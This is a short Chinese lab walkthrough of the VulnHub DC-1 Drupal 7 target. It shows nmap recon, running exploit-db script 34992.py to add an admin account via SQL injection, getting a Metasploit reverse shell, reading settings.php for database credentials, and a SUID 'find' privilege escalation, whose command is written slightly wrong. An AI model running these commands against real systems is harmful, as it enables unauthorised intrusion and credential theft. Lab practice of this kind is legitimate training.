【vulnhub】【DC系列】DC1-Drupal 靶机
作者：互联网
1、信息收集
1.1、端口扫描
使用nmap对端口进行扫描，发现存在 80 端口开放，使用的 CMS 为 Drupal 7 (来自查看主页源代码)
1.2、漏洞信息收集
searchsploit发现 Drupal 7 存在 SQL 注入等漏洞，本次先使用 SQL 注入添加管理员账号
kali@kali:~$ searchsploit Drupal 7.0

Shellcodes: No Results
# 添加管理员用户
kali@kali:~$ python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.57.147 -u admin1 -p admin1
通过创建的账号，登录后在 content 页签发现flag3
2、获取shell权限
2.1、反弹shell
msf6 > search Drupal 7.0

使用该模块后，将反弹shell
2.2、信息收集
查看网站主页 bash-4.2$ more /var/www/sites/default/settings.php 可以找到 flag2及数据库连接用户名及密码。网站根目录发现flag1
www-data@DC-1:/var/www$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

3、权限提升
3.1、find 提权
find 具有SUID权限时，可以通过 find 执行命令，获取 root 权限
# 打开具有 root 权限的 bash
find / --exec '/bin/sh' \;
